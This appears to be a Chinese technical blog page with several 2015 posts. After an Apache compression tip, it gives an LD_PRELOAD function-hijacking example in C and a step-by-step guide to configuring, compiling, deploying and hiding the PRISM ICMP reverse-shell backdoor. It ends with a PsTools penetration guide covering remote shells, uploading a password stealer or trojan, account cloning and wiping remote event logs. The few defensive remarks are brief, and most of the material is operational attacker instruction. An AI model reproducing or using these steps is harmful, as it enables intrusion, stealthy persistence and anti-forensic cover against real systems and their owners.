apache2.4.4启用deflate与gzip压缩

发布时间:April 26, 2015 // 分类:工作日志 // No Comments

今天在看《高性能php应用开发》这本书,说道如何启用mod_deflate:

启用如下模块:

LoadModule deflate_module modules/mod_deflate.so

然后加入指令:

AddOutputFilterByType DEFLATE text/html text/plain text/css text/xml text/javascript

即可。

但是发现老是出错,

 Invalid command 'AddOutputFilterByType', perhaps misspelled or defined by a module not included in the server configuration 

去百度查看下,未果,之后发现官方有段话:

Invalid command 'AddOutputFilterByType', perhaps misspelled       or defined by a module not included in the server configuration        -AddOutputFilterByType       has moved from the core to mod_filter, which must be loaded.

原来,除了启用deflate之外,还要启用mod_filter,找到这句:

LoadModule filter_module modules/mod_filter.so

去除前面的分号,终于好了!

apache2.4开启gzip压缩

LoadModule filter_module modules/mod_filter.so
LoadModule deflate_module modules/mod_deflate.so
<ifmodule mod_deflate.c> 
     DeflateCompressionLevel 9 
     AddOutputFilterByType   DEFLATE text/html text/plain text/xml application/x-httpd-php 
     AddOutputFilter         DEFLATE  html  htm  xml  php  css  js 
</ifmodule>

 

LD_PRELOAD

发布时间:April 25, 2015 // 分类:工作日志,代码学习,linux,转帖文章 // No Comments

LD_PRELOAD:
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量
用以指定预先装载的一些共享库或目标文件,且无论程序是否依赖这些共享库或者文件,LD_PRELOAD指定的这些文件都会被装载
其优先级比LD_LIBRARY_PATH自定义的进程的共享库查找路径的执行还要早
全局符号介入
指在不同的共享库(对象)中存在同名符号时,一个共享对象中的全局符号被另一个共享对象的同名全局符号覆盖
因为LD_PRELOAD指定的共享库或者目标文件的装载顺序十分靠前,几乎是程序运行最先装载的,所以其中的全局符号如果和后面的库中的全局符号重名的话,就会覆盖后面装载的共享库或者目标文件中的全局符号。
因为装载顺序和全局符号介入的原理
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

 

 

其中,在我们自己的函数中主要完成量方面的工作:
     1)完成在调用此函数时我们想要做的工作。
     2)以传递进来的参数不加改动地调用原来动态链接库中的函数。
操作可行性:对于Android系统,将预先编译好的.so文件复制到Android系统/data中,
设置所要要追踪的游戏进程的LD_PRELOAD环境变量值为中间.so文件路径即可。
/etc/ld.so.preload
是系统的配置文件中的一个,其作用与LD_PRELOAD相同。

Linux 允许一个 动态链接库 (linux 上标准的叫法是 共享库)能被先加载到目标进程当中 提供了这个功能 就是  LD preload  通过设置 LD_PRELOAD 变量的值为一个共享库的地址,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。 然后启动的程序就会先加载这个dll  这样就运行我们来 hack 目标进程

     先看看目标进程当中那些函数还没有定义

# nm -u a.out
         w _Jv_RegisterClasses
         w __gmon_start__
         U __libc_start_main@@GLIBC_2.0
         U strlen@@GLIBC_2.0
         U write@@GLIBC_2.0

没有定义的函数  会在使用到的时候解析到正确的地址上  比如上面的 weite 函数 ,进程会加载 libc 这个共享库并得到正确的 write 函数的地址 但是我们使用LD_PRELOAD 指定的so 比 libc 还早加载 那么程序就会把 write 函数的地址解析到我们的 so 里面 ,如果我们的 so 也导出同样名字的函数  相当于劫持了。

下面写个程序看看

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "I am sincoder\n";
static ssize_t (*pf_org_write)(int , const void *, size_t ) = NULL;
 
static void init(void)
{
    pf_org_write = dlsym(RTLD_NEXT, "write");
    printf("get write addr : %x \n", (unsigned int)pf_org_write );
}
 
ssize_t write(int fd, const void *buf, size_t count)
{
    if (NULL == pf_org_write)
        init();
    if (STDOUT_FILENO == fd || STDERR_FILENO == fd)
    {
        return pf_org_write(STDOUT_FILENO, msg, strlen(msg));
    }
    return pf_org_write(fd, buf, count);
}

其中要注意的就是 得到正确的 系统调用 地址的代码 dlsym(RTLD_NEXT, "write");

指定 RTLD_NEXT 是为了 让加载器不把这个函数解析到我们自己下面定义的 write 而是 解析到下一个 so 中的函数 下一个肯定是 libc 了。。。于是就获得了正确的地址 也就是 write 实际的地址。

测试程序:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "hello world";
 
int main()
{
    return write(STDOUT_FILENO,msg,strlen(msg));
}

编译:

gcc test.c -fpic -ldl -shared -o test.so

gcc write.c

然后  export LD_PRELOAD=/root/test.so

执行下程序看看

# ./a.out 
get write addr : 477ab7f0 
I am sincoder

可见顺利的替换了 write

还可以在 /etc/ld.so.preload    中写入 so 地址 这样系统启动的时候就生效 而且对所有的用户

 

使用限制
这种方式虽然很酷,但却有一些限制。比如对于静态编译的程序是无效的。因为静态编译的程序不需要连接动态库的面的函数。而且,假如文件的SUID或SGID位被置1,加载的时候会忽略LD_PRELOAD(这是ld的开发者出于安全考虑做的)。

相关的应用--Jynx-Kit

 

Linux下的ICMP反弹后门:PRISM

发布时间:April 23, 2015 // 分类:工作日志,代码学习,VC/C/C++,linux,转帖文章,python // No Comments

  搜索的时候无意中看见的这款基于ping的ICMP后门。于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

  项目地址:https://github.com/andreafabrizi/prism

  PRISM只有两个主文件,配置简单,能在LinuxSolaris、AIXBSD/Mac、Android等多个系统上运行,支持两种工作模式:ICMP 和 STATIC 模式。

ICMP模式

  使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)

  首先,在攻击者的机器上运行netcat来等待后门进入的连接:

~$ nc -l -p 9999

   再使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口:

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 远程主机(靶机)的IP地址
//linger 连接密码
//10.0.0.10 主控机IP地址
//9999 主控机连接端口

 STATIC模式

  使用这种模式,后门主机将会主动尝试连接到指定端口的的IP地址上,所以只要在指定IP上监听指定端口等待连接就可以了。但是,缺点很明显,很任意暴露攻击者的IP地址,而且使用不够灵活。

 $ nc -l -p [PORT] 

   当然,作为一款迷你级的后门木马。它还是有很多优点的:

  两种工作模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),所以不需要任何库支持。

配置prism后门

  编辑prism.c文件,修改宏定义部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //连接到主控机的IP地址
 42 # define REVERSE_PORT     19832   //连接到主控机的端口号
 43 # define RESPAWN_DELAY    15  //后门机尝试连接的空闲时间间隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP数据包的大小
 46 # define ICMP_KEY         "linger"  //连接的密码
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //后门机连接时显示的消息
 51 #define SHELL            "/bin/sh"  //shell执行的位置
 52 #define PROCESS_NAME     "udevd"   //创建的进程名称

 交叉编译prism后门

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的参数<OPTION>选项:

-DDETACH   //后台运行
-DSTATIC   //只用STATIC模式(默认是ICMP模式)
-DNORENAME   //不再重命名进程名
-DIPTABLES   //清除所有iptables规则表项

例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不同平台下的交叉编译需要相关库文件:

Android平台:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 编译好之后,可以查看后门的配置信息:

bubuko.com,布布扣

运行prism后门测试

  将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹连接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)

bubuko.com,布布扣

  这对于采用了很多限制(比喻限制了SSH)远程服务器来说,使用该后门是不错的。而且prism服务端运行后会在后台一直运行,除非服务器重启。所以,后门开启后删除自身文件将不容易被发现。

简单讲解prism后门的清除

  首先,上面说了,该后门重启会失效,除非写在开机启动项里。所以攻击者想要继续留住后门,肯定会这样做,故首先要检查开机启动项里(比如/etc/rc.local,这可是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里作改变,当访问这个脚本时就可以触发这个prism后门,这样就可以不用之前的python脚本来触发了。厄,貌似这就讲到攻击了-_- 不管怎样,先得有点见识靶。搞不好还真有人会这样用呢。

  其次,虽然这个后门可以改变后门进程名,但是还是有进程存在,所以要查出这个未知进程。可以用工具查找,找到kill掉就OK了。

  最后,要设置好严格的iptables规则。该后门可以按攻击者的设置尝试清除iptables规则,所以要定期查看iptables规则是否改变。

  还有,该后门是使用ICMP协议的PING包激活的,SO,如果还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v

  但是,站在攻击者的角度来看,想要防范prism后门还是比较难的。正如其作者所描述的那样:“No listening ports”,啥意思?就是想用啥端口连接都可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-

  所以,综上所属,最好的办法就是做好预防工作,防止被入侵。为啥?因为我是傻逼{-_-}

pstools套件 用法和小技巧

发布时间:April 12, 2015 // 分类:工作日志,windows,转帖文章 // No Comments

目录
0×00 pstool的介绍
0×01 psexec的应用详解
远程获取一个cmdshell
程序上传并执行
0×02 pspasswd的应用详解
0×03 pskill+psinfo+pslist等的应用详解
0×00 pstool的介绍
PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有12款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。
还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u 和-p这两个参数。
如何建立IP$连接。命令如下:
Net user \\目标ip\ 密码 /user:用户
Net user \\192.168.1.3\ 123456 /user:test
建立后所有的ps工具都将可以不用输入用户和密码了。
其中12款工具简介如下:
• PsExec – 远程执行进程
• PsFile – 显示远程打开的文件
• PsGetSid – 显示计算机或用户的 SID
• PsInfo – 列出有关系统的信息
• PsKill – 按名称或进程 ID 终止进程
• PsList – 列出有关进程的详细信息
• PsLoggedOn – 查看在本地通过资源共享(包含所有资源)登录的用户
• PsLogList – 转储事件日志记录
• PsPasswd - 更改帐户密码
• PsService – 查看和控制服务
• PsShutdown – 关闭并重新启动(可选)计算机
• PsSuspend – 暂停进程
这里讲对其中的几个工具进行详解,其他的将只介绍用法。
下载地址:http://download.sysinternals.com/files/PSTools.zip
0×01 psexec的应用详解
Pstools中最强大最常利用的工具就属psexec这款工具。这款工具的本意是替代telnet这种不安全的管理方式。它最大的特点就属无需安装客服端程序就可以远程操作服务器。
简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。这样一款工具放到渗透当中真是太淫荡了。它适用于windows NT/2x/xp/vista
下面介绍详细参数:
-u 远程计算机的用户名
-p 远程计算机用户对应密码
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回 (意思就是,当你执行一个程序无需等到他结束才返回信息)
-h用于目标系统是Vista或更高版本
其他参数就不做介绍,这里主要是讲用法。
远程获取一个cmdshell
比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。
那我们的命令就是:
psexec \\目标ip -u 用户名 -p 密码 进程名
psexec \\192.168.1.3 –u test –p 123456 cmd.exe
看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。
这里还将提到的是由于windows策略,将不允许空密码登陆。
可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。
我这建立了一个属于guest的一个用户我们来看看它是否能连接。

 

 

经过测试,比guest权限大的用户组都可以远程登陆。
IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。
有关用户组相关的介绍请围观法客周年庆之提权专题
下载地址: http://www.2cto.com/ebook/201211/35554.html
获取cmdshell的介绍就到这里。一旦获得一个cmdshell后面的渗透将会比较轻松。
经过测试,用最新版的pstools,windows2008 win7 都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。
Win7连接示意图:

 

 

程序上传并执行
首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。这里用抓取系统密码的神器getpass来演示。H:\getpass.exe

 

 

程序上传并执行命令如下:
Psexec \\192.169.1.3 –u test –p 12345 –c H:\getpass.exe –d
最后一个-d的参数可有可无~~~
只是怕程序远程运行后会卡住而无法返回信息。
测试如图:

 

 

当然你也可运行一个远控木马这些都可以~~~

Psexec 的介绍就到这里了。
0×02 pspasswd的应用详解
Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。这款工具的特点就是不依靠net,exe程序进行密码修改。
本地修改命令如下:
pspasswd administrator yueyan
演示图如下:

 

 

远程命令如下: www.2cto.com

pspasswd \\192.168.1.3 –u administrator –p 123456 guest yueyan
命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan
相对来说本地修改密码的功能更强大一些。
我这将介绍个实例:
我的一个好基友Lynn得到一个jsp马,并且是nt authority\system权限。但是无法添加用户,且无法用net修改管理员密码。抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。Hash传递登陆被拦截。但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如: mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。
我们想用administrator这个账户登陆进去。很简单,直接上传一个pspasswd上服务器。
执行下面的命令:
首先执行D:\web|pspasswd.exe –accepteula (第一次执行,表示许可执行的意思)
D:\web|pspasswd.exe administrator yueyan
就会成功修改administrator的密码。
这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。
上述介绍常常配合mt.exe进行用户克隆。这里简单介绍:
(关于mt.exe的详细介绍请访问:【工具】mt.exe的详细介绍)
首先mt.exe查看用户sid,比较后看是否有克隆账户
Mt -chkuser
比较后,没有克隆账户,我们选择guest这个账户进行克隆:
Mt –clone administrator guest
然后配合pspasswd修改密码:
Pspasswd guest yueyan
就这样成功克隆一个账户,并能成功登陆访问。
Pspasswd的功能就介绍到这里。
0×03 pskill+psinfo+pslist的应用详解
首先是介绍pskill.
如果你想远程结束远程主机上的一个进程,你可以使用pskill。
我们就介绍一下常用的命令:
比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。命令如下:
pskill \\192.168.1.3 –u test –p 123456 cmd.exe
命令很简单~~~~
我再介绍psinfo的相关应用。
基本参数是:
-h 显示已经安装的补丁信息
-s 显示已安装的软件信息
-d 显示磁盘信息
、、、、、、
如果我们想看远程主机的基本信息,命令如下:
psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456
接下来就是pslist。
主要特点是,显示本地或者远程计算机的进程运行情况。
主要参数:
-m 显示内存信息
-x 显示进程,内存和线程
-t 显示进程树
-s n 在任务管理器模式先运行,n指定秒,以esc结束。
-r n 任务管理器模式刷新速率,n指秒
例如我们想看远程计算机的进程运行情况,命令如下:
Pslist –x \\192.168.1.3 –u test –p 123456
效果图如下:
其他ps工具介绍:
PSLOGGEDON:查看指定计算机的本地及远程登录的用户和登录时间。必须建立在IP$共享下才可以使用这个工具。
命令如下:
Psloggedon –l \\192.168.1.3
PSLOGLIST:事件日志转储及管理。
这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。
常用:
psloglist \\72.56.17.74 application -c > nul
psloglist \\72.56.17.74 system -c > nul
psloglist \\72.56.17.74 security -c > nul
分别是清理应用程序日志,系统运行日志,安全日志。
PSSERVICE:管理服务。
常用:
psservice query messenger
查询messenger服务的相关信息。
最重要的项目是:服务名称、显示名称、服务描述、服务类型、服务状态。
psservice config messenger
查询服务的配置信息。
最重要的项目是:服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。
PSSHUTDOWN:关机工具。
常用命令:
Psshutdown –s –t 60
60秒后关机。
下面几个不常用,就介绍下:
• PsFile – 显示远程打开的文件
Psfile \\192.168.1.3
• PsGetSid – 显示计算机或用户的 SID
Psgetsid \\192.168.1.3
• PsSuspend – 暂停进程
Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe

最后的最后,附上下载地址:https://download.sysinternals.com/files/PSTools.zip

或者http://0cx.cc/usr/uploads/2015/05/2718755970.zip